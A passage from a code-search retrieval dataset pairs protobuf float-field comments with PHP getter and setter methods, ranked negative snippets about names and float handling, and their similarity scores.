strlen($this->bytes)).')';\n }", "public function toString() {\n return nameof($this).'<'.$this->marker.'>('.strlen($this->bytes).' bytes)';\n }", "function decode($name){\n\t\treturn UString::fromUTF8($name);\n\t}", "public function tryToDefineName($content)\n\t{\n\t\tif(isset($content[$this -> name_field]) && $content[$this -> name_field])\n\t\t{\n\t\t\t$type = $this -> elements[$this -> name_field] -> getType();\n\t\t\t$name = \"\";\n\t\t\t$fields = array($this -> name_field => $type);\n\t\t\t\n\t\t\tif($this -> name_field_extra && isset($content[$this -> name_field_extra]) && $content[$this -> name_field_extra])\n\t\t\t\t $fields[$this -> name_field_extra] = $this -> elements[$this -> name_field_extra] -> getType();\n\t\t\t\t\t\n\t\t\tforeach($fields as $field => $type)\n\t\t\t\tif($type == 'enum')\n\t\t\t\t{\n\t\t\t\t\tif($this -> elements[$field] -> getProperty('foreign_key'))\n\t\t\t\t\t\t$data = $this -> elements[$field] -> getDataOfForeignKey();\n\t\t\t\t\telse\n\t\t\t\t\t\t$data = $this -> elements[$field] -> getValuesList();\n\t\t\t\t\t\n\t\t\t\t\tif(isset($data[$content[$field]]))\n\t\t\t\t\t\t$name .= $data[$content[$field]].\" \";\n\t\t\t\t}\n\t\t\t\telse if($type == 'text' && $this -> elements[$field] -> getProperty(\"show_in_admin\"))\n\t\t\t\t\t$name = Service :: cutText($content[$field], $this -> elements[$field] -> getProperty(\"show_in_admin\"), \" ...\").\" \";\n\t\t\t\telse if(($type == 'date' || $type == 'date_time') && preg_match(\"/^\\d{4}-\\d{2}-\\d{2}/\", $content[$field]))\n\t\t\t\t\t$name .= I18n :: dateFromSQL($content[$field]).\" \";\n\t\t\t\telse if(!in_array($type, array(\"file\", \"image\", \"multi_images\", \"many_to_one\", \"many_to_many\", \"password\")))\n\t\t\t\t\t$name .= $content[$field].\" \";\n\t\t\t\n\t\t\tif($name)\n\t\t\t\treturn trim($name);\n\t\t}\n\t\t\n\t\t//If we have char type field with name 'name'\n\t\tforeach($this -> elements as $name => $object)\n\t\t\tif($name == 'name' && $object -> getType() == 'char' && isset($content[$name]) && $content[$name])\n\t\t\t\treturn $content[$name];\n\n\t\t//Any email field\n\t\tforeach($this -> elements as $name => $object)\n\t\t\tif($object -> getType() == 'email' && isset($content[$name]) && $content[$name])\n\t\t\t\treturn $content[$name];\n\t\t\n\t\t//Any char field\n\t\tforeach($this -> elements as $name => $object)\n\t\t\tif($object -> getType() == 'char' && isset($content[$name]) && $content[$name])\n\t\t\t\treturn $content[$name];\n\t\t\t\t\n\t\treturn isset($content['id']) ? I18n :: locale('record').\" \".$content['id'] : '-';\n\t}", "function __construct($name) {\n $this->NAME = $name;\n }", "function setName( $value )\n {\n $this->Name = $value;\n }", "public function setSerializedName(?string $serializedName): void;", "public function setName($name) {}", "public function setName($name) {}", "public function getName() {\n return @$this->attributes['name'];\n }", "public function name() : string;" ]
[ "0.5558608", "0.5493028", "0.54387426", "0.52227914", "0.51860124", "0.5155848", "0.515522", "0.5109678", "0.51054114", "0.5094769", "0.50945014", "0.5092645", "0.5087545", "0.5086789", "0.5086535", "0.508249", "0.5079723", "0.5072564", "0.50605875", "0.50334924", "0.5026924", "0.50130475", "0.5009727", "0.49942505", "0.49937087", "0.49883467", "0.4950502", "0.4950502", "0.4940779", "0.49358922", "0.49317718", "0.49277008", "0.4925225", "0.492366", "0.49226564", "0.49195397", "0.4918173", "0.49174654", "0.49162835", "0.49110514", "0.49110514", "0.49110514", "0.48826334", "0.4881889", "0.4881733", "0.48749217", "0.48749217", "0.48714918", "0.486977", "0.48656914", "0.48652732", "0.4858036", "0.48575976", "0.48555455", "0.48530924", "0.48530924", "0.48494995", "0.48465624", "0.484494", "0.48433936", "0.48417988", "0.48408595", "0.48383442", "0.48380435", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48366722", "0.48329565", "0.4832088", "0.4831927", "0.4826685", "0.4820646", "0.4819702", "0.4817938", "0.48131883", "0.48129743", "0.48110956", "0.48088378", "0.48026156", "0.48007175", "0.48003107", "0.4799387", "0.4797023", "0.47966778", "0.4793951", "0.47905773", "0.4788971", "0.4785544", "0.47814065", "0.47751158", "0.47746655", "0.47746655", "0.47742596", "0.47712675" ]
0.0
-1
Generated from protobuf field float value = 3 [(.clarifai.api.utils.cl_show_if_empty) = true, (.clarifai.api.utils.cl_default_float) = 1];
public function getValue() { return $this->value; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getFloat() :float\n {\n return $this->value;\n }", "public function toFloat(): float\n {\n return (float) $this->getValue();\n }", "public static function float() {}", "public static function ensureFloat($value)\n\t{\n\t\treturn (float)$value;\n\t}", "public function putFloat(string $name, ?float $value): string;", "function o_isFloat($value) {\n\t\t\treturn Obj::singleton()->isFloat($value);\n\t\t}", "public static function aFloat($value)\n {\n return (is_float($value))?:false;\n }", "public function float()\n\t{\n\t\treturn $this->filter(FILTER_SANITIZE_NUMBER_FLOAT);\n\t}", "#[@test]\n public function floatType() {\n $this->testType(new Float(0), 0, 0.0);\n }", "function o_castFloat($value) {\n\t\t\treturn Obj::singleton()->castFloat($value);\n\t\t}", "public function getFFloat()\n {\n return $this->f_float;\n }", "private static function toFloat($value)\n {\n return (float) $value;\n }", "public function getFloatField()\n {\n $value = $this->get(self::FLOAT_FIELD);\n return $value === null ? (double)$value : $value;\n }", "public function checkFloat(): float\n {\n if (!is_float($this->getValue())) {\n throw new TypeInvalidException('float', gettype($this->getValue()));\n }\n\n return $this->getValue();\n }", "function validate_float() {\n # Check if the value is a foat\n if (is_float($this->cur_val)) {\n # Remove any existing error message\n $this->error_message = \"\";\n\n # Return Value\n return $this->cur_val;\n }\n else {\n # Set Error Message\n $this->set_error( \"Validation for float ({$this->cur_val}) failed. This is type \" . gettype($this->cur_val));\n\n # Return Float Value\n return floatval($this->cur_val);\n }\n }", "public function getValue()\n {\n return (float) $this->value;\n }", "public function setValue($var)\n {\n GPBUtil::checkFloat($var);\n $this->value = $var;\n\n return $this;\n }", "public function set($value = null)\r\n {\r\n return parent::set((float)$value);\r\n }", "public function setFloatField($value)\n {\n return $this->set(self::FLOAT_FIELD, $value);\n }", "public function float()\n {\n $floatFilter = new stubFloatFilter();\n $this->assertSame($floatFilter, $floatFilter->setDecimals(2));\n $this->assertEquals(156, $floatFilter->execute('1.564'));\n }", "public function float($value)\n {\n $bytes = pack('f*', $value);\n if ($this->isBigEndian()) {\n $bytes = strrev($bytes);\n }\n $this->write($bytes, 4);\n }", "public function getFloat(string $key, mixed $default = null): float\n {\n return (float) $this->get($key, $default);\n }", "public function getFNumber(): ?float {\n $val = $this->getBackingStore()->get('fNumber');\n if (is_null($val) || is_float($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'fNumber'\");\n }", "public function fromFloat($value)\n {\n switch ((string) $value) {\n case 'Infinity':\n return INF;\n case '-Infinity':\n return -INF;\n case 'NaN':\n return NAN;\n default:\n return (float) $value;\n }\n }", "public function value()\n {\n $floatFilter = new stubFloatFilter();\n $this->assertSame($floatFilter, $floatFilter->setDecimals(3));\n $this->assertEquals(8453, $floatFilter->execute('8.4533'));\n $this->assertEquals(8453, $floatFilter->execute('8.4538'));\n $this->assertEquals(8450, $floatFilter->execute('8.45'));\n $this->assertEquals(8000, $floatFilter->execute('8'));\n $this->assertEquals(8453, $floatFilter->execute(8.4533));\n $this->assertEquals(8453, $floatFilter->execute(8.4538));\n $this->assertEquals(8450, $floatFilter->execute(8.45));\n $this->assertEquals(8000, $floatFilter->execute(8));\n }", "public function GetAsFloat(string $key, ?float $default = NULL) : float\r\n\t{\r\n\t\treturn (float)$this->Get($key, $default);\r\n\t}", "public function floatValue($a = null)\n {\n throw new NotImplementedException(__METHOD__);\n }", "public function floatValue($key, $default, $min = null, $max = null);", "public static function float(?string $valueType = null);", "public static function GetFloat($key)\n {\n return (float)self::Get($key);\n }", "public function getOptFloat(string $name, ?float $default = null): ?float;", "public function validFloats() {}", "public function float($value) : float|array\n\t{\n\t\treturn $this->handlers->map($value, function ($value) {\n\t\t\treturn (float)$value;\n\t\t});\n\t}", "public static function sanitize_float( $value ) {\n\t\tif ( empty( $value ) ) {\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn filter_var( $value, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );\n\t}", "public function getManFloat(string $name, ?float $default = null): float;", "public function testRandomFloat()\n {\n $initial_value = random_float();\n \n $this->assertInternalType('float', $initial_value);\n }", "public function getFloat(string $key): ?float;", "public function getDataType()\n {\n return DField::DATA_TYPE_FLOAT;\n }", "static public function Float($var, $flags = null) {\r\n\r\n\t\t$cleaned = filter_var($var, FILTER_SANITIZE_NUMBER_FLOAT, $flags);\r\n\t\treturn $cleaned == \"\" ? false : (float)$cleaned;\r\n\r\n\t}", "function float_or_null($f) {\n return $f === null ? null : (float) $f;\n}", "private function float ($param)\n {\n $this->type = 'float';\n $this->value = (float)$this->value;\n return true;\n }", "public function float()\n {\n if (!is_float($this->value)) {\n throw new InvalidFloatException($this->name, $this->value);\n }\n\n return $this;\n }", "public function setFloat(string $key, float $value, int $ttl = 0): bool;", "public static function is_float($value)\n {\n return is_numeric($value) && (null !== str($value)->indexOf('.'));\n }", "public function SetFloat(string $key, float $value) : void\r\n\t{\r\n\t\t$this->Set($key, $value);\r\n\t}", "public function getFloat(string $key): float\n {\n return floatval($this->get($key));\n }", "function getFloat()\r\n\t{\r\n\t\treturn array('lat' => $this->nLat, 'lon' => $this->nLon);\r\n\t}", "public function isFloat(): bool\n {\n return $this->phpType === self::FLOAT;\n }", "function readFloat(): float {\n return \\unpack('g', $this->read(4))[1];\n }", "function &float(float $value, string $namespace = 'default'): float\n{\n $var = new Variable\\FloatVariable($value);\n Repository::add($var, $namespace);\n return $var->getValue();\n}", "public static function filterFloat($attrValue)\n\t{\n\t\treturn filter_var($attrValue, FILTER_VALIDATE_FLOAT);\n\t}", "private function toFloat($value)\n {\n return (float) str_replace(',', '.', $value);\n }", "public function setFFloat($var)\n {\n GPBUtil::checkFloat($var);\n $this->f_float = $var;\n\n return $this;\n }", "public function scrubFloat(float $data) : float;", "function validFloat($value)\n {\n return filter_var($value, FILTER_VALIDATE_FLOAT);\n }", "public function toFloat()\n {\n eval('$var = ' . $this->value . ';');\n\n return $var;\n }", "public function convertValue($value) {\n $floatValue = floatval($value);\n if ($floatValue === 0.0 && $value !== '0' && $value !== '0.0') {\n throw new InvalidParameterValueException();\n }\n return $floatValue;\n }", "private static function renderFloat($value)\n {\n return Yii::$app->formatter->asDecimal($value);\n }", "public function hasFloatField()\n {\n return $this->get(self::FLOAT_FIELD) !== null;\n }", "public static function getFloat($name, $default = 0.0, $hash = 'default')\n {\n return static::getVar($name, $default, $hash, 'float');\n }", "public function getPFloat()\n {\n return isset($this->p_float) ? $this->p_float : 0.0;\n }", "public function castType($value=null)\n {\n if (!is_null($value)) return (float)$value;\n return 0;\n }", "public function __construct(\n protected float $value,\n protected int $decimals = 2,\n protected ?string $decimal_separator = '.',\n protected ?string $thousands_separator = ',',\n protected ?string $before = '',\n protected ?string $after = '',\n ) {\n }", "public function formatFloat($value)\n {\n $return = \"null\";\n\n if ($value) {\n $return = floatval($value);\n }\n\n return $return;\n }", "public function invalidFloats() {}", "public function setFNumber(?float $value): void {\n $this->getBackingStore()->set('fNumber', $value);\n }", "public function checkFloat($value)\n {\n return $this->checkHasType($value, 'double');\n }", "public function testFloat()\n {\n $float = (float) 13.54;\n $this->assertSame($float, $this->_filter->filter($float));\n }", "function readFloat();", "public function & toFloat()\n\t{\n\t\t$x = float((int)$this->data);\n\t\treturn $x;\n\t}", "function toFloat ($value) {\n assert(count(func_get_args()) == 1);\n if (is_scalar($value)) {\n $convertedValue = filter_var($value, FILTER_VALIDATE_FLOAT, FILTER_NULL_ON_FAILURE);\n if ($convertedValue !== null)\n return $convertedValue;\n }\n if (is_object($value) && hasMember($value, 'toFloat'))\n return toFloat($value->toFloat());\n throw new RuntimeException('Unable to convert to float.');\n}", "public function getFocalLength(): ?float {\n $val = $this->getBackingStore()->get('focalLength');\n if (is_null($val) || is_float($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'focalLength'\");\n }", "public function toFloat()\n {\n if (is_array($this->value)) {\n throw new InvalidNotArrayException($this->name);\n } elseif (!empty($this->value) && !is_numeric($this->value)) {\n throw new InvalidNumericException($this->name, $this->value);\n }\n\n $this->value = (float) $this->value;\n\n return $this;\n }", "public function getType()\n {\n return 'float';\n }", "public function testFloat()\n {\n set_error_handler([$this->instance, 'handleError'], E_NOTICE);\n $float = $this->instance+.0;\n restore_error_handler();\n\n self::assertTrue(\n is_float($float),\n 'Instance cannot be typecast to a float'\n );\n }", "public function parse($value) {\n\t\t$json = $this->decode($value);\n\t\tif (JSON_ERROR_NONE == json_last_error()) {\n\t\t\treturn $json;\n\t\t}\n\t\t$float = filter_var($value, FILTER_VALIDATE_FLOAT);\n\t\treturn $float !== false ? $float : $value;\n\t}", "public function testSetAndRetrieveFloat(): void\n {\n $key = \"A test key\";\n $expected = 7.234;\n $this->testNotStrict->set($key, $expected);\n $actual = $this->testNotStrict->get($key);\n $this->assertEquals($expected, $actual);\n }", "public function getFloat($name);", "public function quoteFloat(?float $value): string\n {\n if ($value===null) return 'null';\n\n return (string)$value;\n }", "public static function parseFloat($value)\n {\n // convert \",\" to \".\"\n $s = str_replace(',', '.', $value);\n\n // remove everything except numbers and dot \".\"\n $s = preg_replace(\"/[^0-9\\.]/\", '', $s);\n\n // remove all seperators from first part and keep the end\n $s = str_replace('.', '', substr($s, 0, -3)).substr($s, -3);\n\n // return float\n return (float) $s;\n }", "public function getCreditFournisseur(): ?float {\n return $this->creditFournisseur;\n }", "public function getValeur() {\n return floatval($this->valeur);\n }", "public function appendFloat($value)\n {\n $s = pack(\"f\", $value);\n return $this->append(self::$isLittleEndian ? self::swapEndian32($s) : $s);\n }", "public static function readFloat()\n {\n $res = filter_var(self::readLine(), FILTER_VALIDATE_FLOAT);\n \n if($res === false)\n throw new Exception(\"valor invalido\");\n \n return $res;\n }", "final protected function setColumnFloat($key, $value, $allowNull = false)\n\t\t{\n\t\t\t$col = $this->findColumn($key);\n\t\t\tif($col === null)\n\t\t\t\treturn;\n\n\t\t\t$col->setValue($allowNull && is_null($value) ? null : CDFDataHelper::AsFloat($value));\n\t\t}", "public function getValueFrom():float {\n return $this->valueFrom;\n }", "public function float($name, $displayName = null)\n {\n if (trim($this->data[$name]) != ''\n && !filter_var($this->data[$name], FILTER_VALIDATE_FLOAT)\n ) {\n if (!($this->data[$name] == \"0\")) {\n $this->errors->add(\n '<b>' .\n $this->displayName($name, $displayName) .\n '</b> must be a decimal number.'\n );\n return false;\n }\n }\n return true;\n }", "public function float($name, $length = 255, $default = null)\n {\n return self::$driver->float($name, $length, $default);\n }", "private function validateFloat($value)\n {\n return $this->validateDecimal($value, ValidatorHandler::VALUE_TYPE_IS_NOT_FLOAT);\n }", "public function consumeFloat()\n {\n $s = $this->consume(4);\n list(, $ret) = unpack(\"f\", self::$isLittleEndian ? self::swapEndian32($s) : $s);\n return $ret;\n }", "public function float($error) {\n if ($this->_exist) {\n array_push($this->_constraints, ['type' => self::FLOAT, 'message' => $error]);\n }\n\n return $this;\n }", "protected function validateFloat($attribute, $value)\n {\n return filter_var($value, FILTER_VALIDATE_FLOAT) !== false;\n }", "public function float($prompt = 'Float', $message = 'Please enter a floating-point decimal.') {\n return $this->text($prompt, function($result) { \n return filter_var($result, FILTER_VALIDATE_FLOAT); \n }, $message);\n }", "public function parseFloat()\n {\n if (is_string($this->value)) {\n $this->value = preg_replace('/\\s|`|\\'|,/', \"\", preg_replace('/,{1}/', '.', $this->value));\n }\n $this->value = (float)$this->value;\n return $this;\n }", "public function getFloat()\n {\n if ($this->value['float']=='left') return 'left';\n if ($this->value['float']=='right') return 'right';\n return null;\n }", "public static function assertIsFloat( $actual, $message = '' ) {\n\t\tstatic::assertInternalType( 'float', $actual, $message );\n\t}", "public static function _float($inputDataType, string $variableName, $defaultValue = null) {\n return self::_($inputDataType, $variableName, $defaultValue, FILTER_VALIDATE_FLOAT);\n }", "public static function asFloat($value)\n {\n $v = round($value, 2);\n\n return (strpos($v, '.') and self::$formats[self::P_DECIMAL_CHAR] != '.')\n ? str_replace('.', self::$formats[self::P_DECIMAL_CHAR], $v)\n : $v;\n }", "public function testFloat() {\n $this->assertEquals(100.25, Sanitize::float('1array(0)0.25'));\n $this->assertEquals(-125.55, Sanitize::float('-abc125.55'));\n $this->assertEquals(1203.11, Sanitize::float('+1203.11'));\n }", "protected function formatDefault()\n {\n return (false !== filter_var($this->input, FILTER_VALIDATE_FLOAT));\n }", "public function getDefaultZ() : ?float;" ]
[ "0.6970579", "0.68162364", "0.6751137", "0.66860574", "0.66648984", "0.66509074", "0.6625258", "0.66208214", "0.6571159", "0.65699446", "0.6537298", "0.65270877", "0.64553636", "0.6454785", "0.64242107", "0.6411075", "0.6403424", "0.6379073", "0.6356541", "0.63458765", "0.63323265", "0.63230443", "0.63226634", "0.62887394", "0.62793624", "0.6259328", "0.6220983", "0.6207956", "0.6183319", "0.61659884", "0.6135981", "0.61077833", "0.6080477", "0.60611415", "0.60392606", "0.6029811", "0.6021832", "0.6013817", "0.6003396", "0.5998585", "0.59945655", "0.59829885", "0.59768796", "0.5976366", "0.597553", "0.5905299", "0.5895205", "0.5894471", "0.58942086", "0.58913505", "0.5883191", "0.5856713", "0.5843201", "0.58427036", "0.5836561", "0.5822297", "0.5805641", "0.58015925", "0.57967657", "0.5790589", "0.57857984", "0.5777638", "0.5769643", "0.5767468", "0.57656074", "0.5765048", "0.5764848", "0.5762244", "0.57602257", "0.57555646", "0.570809", "0.57069486", "0.5695766", "0.5688581", "0.56687486", "0.5647155", "0.56298953", "0.562893", "0.5625012", "0.5617949", "0.5615015", "0.5600206", "0.5596686", "0.5582913", "0.55773586", "0.5568012", "0.556281", "0.55627763", "0.5546162", "0.5535923", "0.5527858", "0.5524289", "0.5520855", "0.5518992", "0.55146843", "0.5508779", "0.5500978", "0.5497548", "0.5486526", "0.54802233", "0.5474304" ]
0.0
-1
Generated from protobuf field float value = 3 [(.clarifai.api.utils.cl_show_if_empty) = true, (.clarifai.api.utils.cl_default_float) = 1];
public function setValue($var) { GPBUtil::checkFloat($var); $this->value = $var; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getFloat() :float\n {\n return $this->value;\n }", "public function toFloat(): float\n {\n return (float) $this->getValue();\n }", "public static function float() {}", "public static function ensureFloat($value)\n\t{\n\t\treturn (float)$value;\n\t}", "public function putFloat(string $name, ?float $value): string;", "function o_isFloat($value) {\n\t\t\treturn Obj::singleton()->isFloat($value);\n\t\t}", "public static function aFloat($value)\n {\n return (is_float($value))?:false;\n }", "public function float()\n\t{\n\t\treturn $this->filter(FILTER_SANITIZE_NUMBER_FLOAT);\n\t}", "#[@test]\n public function floatType() {\n $this->testType(new Float(0), 0, 0.0);\n }", "function o_castFloat($value) {\n\t\t\treturn Obj::singleton()->castFloat($value);\n\t\t}", "public function getFFloat()\n {\n return $this->f_float;\n }", "private static function toFloat($value)\n {\n return (float) $value;\n }", "public function checkFloat(): float\n {\n if (!is_float($this->getValue())) {\n throw new TypeInvalidException('float', gettype($this->getValue()));\n }\n\n return $this->getValue();\n }", "public function getFloatField()\n {\n $value = $this->get(self::FLOAT_FIELD);\n return $value === null ? (double)$value : $value;\n }", "function validate_float() {\n # Check if the value is a foat\n if (is_float($this->cur_val)) {\n # Remove any existing error message\n $this->error_message = \"\";\n\n # Return Value\n return $this->cur_val;\n }\n else {\n # Set Error Message\n $this->set_error( \"Validation for float ({$this->cur_val}) failed. This is type \" . gettype($this->cur_val));\n\n # Return Float Value\n return floatval($this->cur_val);\n }\n }", "public function getValue()\n {\n return (float) $this->value;\n }", "public function set($value = null)\r\n {\r\n return parent::set((float)$value);\r\n }", "public function setFloatField($value)\n {\n return $this->set(self::FLOAT_FIELD, $value);\n }", "public function float()\n {\n $floatFilter = new stubFloatFilter();\n $this->assertSame($floatFilter, $floatFilter->setDecimals(2));\n $this->assertEquals(156, $floatFilter->execute('1.564'));\n }", "public function float($value)\n {\n $bytes = pack('f*', $value);\n if ($this->isBigEndian()) {\n $bytes = strrev($bytes);\n }\n $this->write($bytes, 4);\n }", "public function getFloat(string $key, mixed $default = null): float\n {\n return (float) $this->get($key, $default);\n }", "public function getFNumber(): ?float {\n $val = $this->getBackingStore()->get('fNumber');\n if (is_null($val) || is_float($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'fNumber'\");\n }", "public function fromFloat($value)\n {\n switch ((string) $value) {\n case 'Infinity':\n return INF;\n case '-Infinity':\n return -INF;\n case 'NaN':\n return NAN;\n default:\n return (float) $value;\n }\n }", "public function value()\n {\n $floatFilter = new stubFloatFilter();\n $this->assertSame($floatFilter, $floatFilter->setDecimals(3));\n $this->assertEquals(8453, $floatFilter->execute('8.4533'));\n $this->assertEquals(8453, $floatFilter->execute('8.4538'));\n $this->assertEquals(8450, $floatFilter->execute('8.45'));\n $this->assertEquals(8000, $floatFilter->execute('8'));\n $this->assertEquals(8453, $floatFilter->execute(8.4533));\n $this->assertEquals(8453, $floatFilter->execute(8.4538));\n $this->assertEquals(8450, $floatFilter->execute(8.45));\n $this->assertEquals(8000, $floatFilter->execute(8));\n }", "public function GetAsFloat(string $key, ?float $default = NULL) : float\r\n\t{\r\n\t\treturn (float)$this->Get($key, $default);\r\n\t}", "public function floatValue($a = null)\n {\n throw new NotImplementedException(__METHOD__);\n }", "public function floatValue($key, $default, $min = null, $max = null);", "public static function float(?string $valueType = null);", "public static function GetFloat($key)\n {\n return (float)self::Get($key);\n }", "public function getOptFloat(string $name, ?float $default = null): ?float;", "public function validFloats() {}", "public function float($value) : float|array\n\t{\n\t\treturn $this->handlers->map($value, function ($value) {\n\t\t\treturn (float)$value;\n\t\t});\n\t}", "public static function sanitize_float( $value ) {\n\t\tif ( empty( $value ) ) {\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn filter_var( $value, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );\n\t}", "public function getManFloat(string $name, ?float $default = null): float;", "public function testRandomFloat()\n {\n $initial_value = random_float();\n \n $this->assertInternalType('float', $initial_value);\n }", "public function getFloat(string $key): ?float;", "public function getDataType()\n {\n return DField::DATA_TYPE_FLOAT;\n }", "static public function Float($var, $flags = null) {\r\n\r\n\t\t$cleaned = filter_var($var, FILTER_SANITIZE_NUMBER_FLOAT, $flags);\r\n\t\treturn $cleaned == \"\" ? false : (float)$cleaned;\r\n\r\n\t}", "function float_or_null($f) {\n return $f === null ? null : (float) $f;\n}", "private function float ($param)\n {\n $this->type = 'float';\n $this->value = (float)$this->value;\n return true;\n }", "public function float()\n {\n if (!is_float($this->value)) {\n throw new InvalidFloatException($this->name, $this->value);\n }\n\n return $this;\n }", "public function setFloat(string $key, float $value, int $ttl = 0): bool;", "public static function is_float($value)\n {\n return is_numeric($value) && (null !== str($value)->indexOf('.'));\n }", "public function SetFloat(string $key, float $value) : void\r\n\t{\r\n\t\t$this->Set($key, $value);\r\n\t}", "public function getFloat(string $key): float\n {\n return floatval($this->get($key));\n }", "public function isFloat(): bool\n {\n return $this->phpType === self::FLOAT;\n }", "function readFloat(): float {\n return \\unpack('g', $this->read(4))[1];\n }", "function getFloat()\r\n\t{\r\n\t\treturn array('lat' => $this->nLat, 'lon' => $this->nLon);\r\n\t}", "function &float(float $value, string $namespace = 'default'): float\n{\n $var = new Variable\\FloatVariable($value);\n Repository::add($var, $namespace);\n return $var->getValue();\n}", "public static function filterFloat($attrValue)\n\t{\n\t\treturn filter_var($attrValue, FILTER_VALIDATE_FLOAT);\n\t}", "private function toFloat($value)\n {\n return (float) str_replace(',', '.', $value);\n }", "public function setFFloat($var)\n {\n GPBUtil::checkFloat($var);\n $this->f_float = $var;\n\n return $this;\n }", "public function scrubFloat(float $data) : float;", "function validFloat($value)\n {\n return filter_var($value, FILTER_VALIDATE_FLOAT);\n }", "public function toFloat()\n {\n eval('$var = ' . $this->value . ';');\n\n return $var;\n }", "public function convertValue($value) {\n $floatValue = floatval($value);\n if ($floatValue === 0.0 && $value !== '0' && $value !== '0.0') {\n throw new InvalidParameterValueException();\n }\n return $floatValue;\n }", "public function hasFloatField()\n {\n return $this->get(self::FLOAT_FIELD) !== null;\n }", "private static function renderFloat($value)\n {\n return Yii::$app->formatter->asDecimal($value);\n }", "public static function getFloat($name, $default = 0.0, $hash = 'default')\n {\n return static::getVar($name, $default, $hash, 'float');\n }", "public function getPFloat()\n {\n return isset($this->p_float) ? $this->p_float : 0.0;\n }", "public function castType($value=null)\n {\n if (!is_null($value)) return (float)$value;\n return 0;\n }", "public function __construct(\n protected float $value,\n protected int $decimals = 2,\n protected ?string $decimal_separator = '.',\n protected ?string $thousands_separator = ',',\n protected ?string $before = '',\n protected ?string $after = '',\n ) {\n }", "public function invalidFloats() {}", "public function testFloat()\n {\n $float = (float) 13.54;\n $this->assertSame($float, $this->_filter->filter($float));\n }", "public function checkFloat($value)\n {\n return $this->checkHasType($value, 'double');\n }", "public function formatFloat($value)\n {\n $return = \"null\";\n\n if ($value) {\n $return = floatval($value);\n }\n\n return $return;\n }", "public function setFNumber(?float $value): void {\n $this->getBackingStore()->set('fNumber', $value);\n }", "function readFloat();", "public function & toFloat()\n\t{\n\t\t$x = float((int)$this->data);\n\t\treturn $x;\n\t}", "public function getFocalLength(): ?float {\n $val = $this->getBackingStore()->get('focalLength');\n if (is_null($val) || is_float($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'focalLength'\");\n }", "function toFloat ($value) {\n assert(count(func_get_args()) == 1);\n if (is_scalar($value)) {\n $convertedValue = filter_var($value, FILTER_VALIDATE_FLOAT, FILTER_NULL_ON_FAILURE);\n if ($convertedValue !== null)\n return $convertedValue;\n }\n if (is_object($value) && hasMember($value, 'toFloat'))\n return toFloat($value->toFloat());\n throw new RuntimeException('Unable to convert to float.');\n}", "public function toFloat()\n {\n if (is_array($this->value)) {\n throw new InvalidNotArrayException($this->name);\n } elseif (!empty($this->value) && !is_numeric($this->value)) {\n throw new InvalidNumericException($this->name, $this->value);\n }\n\n $this->value = (float) $this->value;\n\n return $this;\n }", "public function getType()\n {\n return 'float';\n }", "public function testFloat()\n {\n set_error_handler([$this->instance, 'handleError'], E_NOTICE);\n $float = $this->instance+.0;\n restore_error_handler();\n\n self::assertTrue(\n is_float($float),\n 'Instance cannot be typecast to a float'\n );\n }", "public function parse($value) {\n\t\t$json = $this->decode($value);\n\t\tif (JSON_ERROR_NONE == json_last_error()) {\n\t\t\treturn $json;\n\t\t}\n\t\t$float = filter_var($value, FILTER_VALIDATE_FLOAT);\n\t\treturn $float !== false ? $float : $value;\n\t}", "public function testSetAndRetrieveFloat(): void\n {\n $key = \"A test key\";\n $expected = 7.234;\n $this->testNotStrict->set($key, $expected);\n $actual = $this->testNotStrict->get($key);\n $this->assertEquals($expected, $actual);\n }", "public function getFloat($name);", "public function quoteFloat(?float $value): string\n {\n if ($value===null) return 'null';\n\n return (string)$value;\n }", "public function getCreditFournisseur(): ?float {\n return $this->creditFournisseur;\n }", "public static function parseFloat($value)\n {\n // convert \",\" to \".\"\n $s = str_replace(',', '.', $value);\n\n // remove everything except numbers and dot \".\"\n $s = preg_replace(\"/[^0-9\\.]/\", '', $s);\n\n // remove all seperators from first part and keep the end\n $s = str_replace('.', '', substr($s, 0, -3)).substr($s, -3);\n\n // return float\n return (float) $s;\n }", "public function getValeur() {\n return floatval($this->valeur);\n }", "public function appendFloat($value)\n {\n $s = pack(\"f\", $value);\n return $this->append(self::$isLittleEndian ? self::swapEndian32($s) : $s);\n }", "public static function readFloat()\n {\n $res = filter_var(self::readLine(), FILTER_VALIDATE_FLOAT);\n \n if($res === false)\n throw new Exception(\"valor invalido\");\n \n return $res;\n }", "final protected function setColumnFloat($key, $value, $allowNull = false)\n\t\t{\n\t\t\t$col = $this->findColumn($key);\n\t\t\tif($col === null)\n\t\t\t\treturn;\n\n\t\t\t$col->setValue($allowNull && is_null($value) ? null : CDFDataHelper::AsFloat($value));\n\t\t}", "public function getValueFrom():float {\n return $this->valueFrom;\n }", "public function float($name, $length = 255, $default = null)\n {\n return self::$driver->float($name, $length, $default);\n }", "public function float($name, $displayName = null)\n {\n if (trim($this->data[$name]) != ''\n && !filter_var($this->data[$name], FILTER_VALIDATE_FLOAT)\n ) {\n if (!($this->data[$name] == \"0\")) {\n $this->errors->add(\n '<b>' .\n $this->displayName($name, $displayName) .\n '</b> must be a decimal number.'\n );\n return false;\n }\n }\n return true;\n }", "private function validateFloat($value)\n {\n return $this->validateDecimal($value, ValidatorHandler::VALUE_TYPE_IS_NOT_FLOAT);\n }", "public function consumeFloat()\n {\n $s = $this->consume(4);\n list(, $ret) = unpack(\"f\", self::$isLittleEndian ? self::swapEndian32($s) : $s);\n return $ret;\n }", "public function float($error) {\n if ($this->_exist) {\n array_push($this->_constraints, ['type' => self::FLOAT, 'message' => $error]);\n }\n\n return $this;\n }", "protected function validateFloat($attribute, $value)\n {\n return filter_var($value, FILTER_VALIDATE_FLOAT) !== false;\n }", "public function float($prompt = 'Float', $message = 'Please enter a floating-point decimal.') {\n return $this->text($prompt, function($result) { \n return filter_var($result, FILTER_VALIDATE_FLOAT); \n }, $message);\n }", "public function parseFloat()\n {\n if (is_string($this->value)) 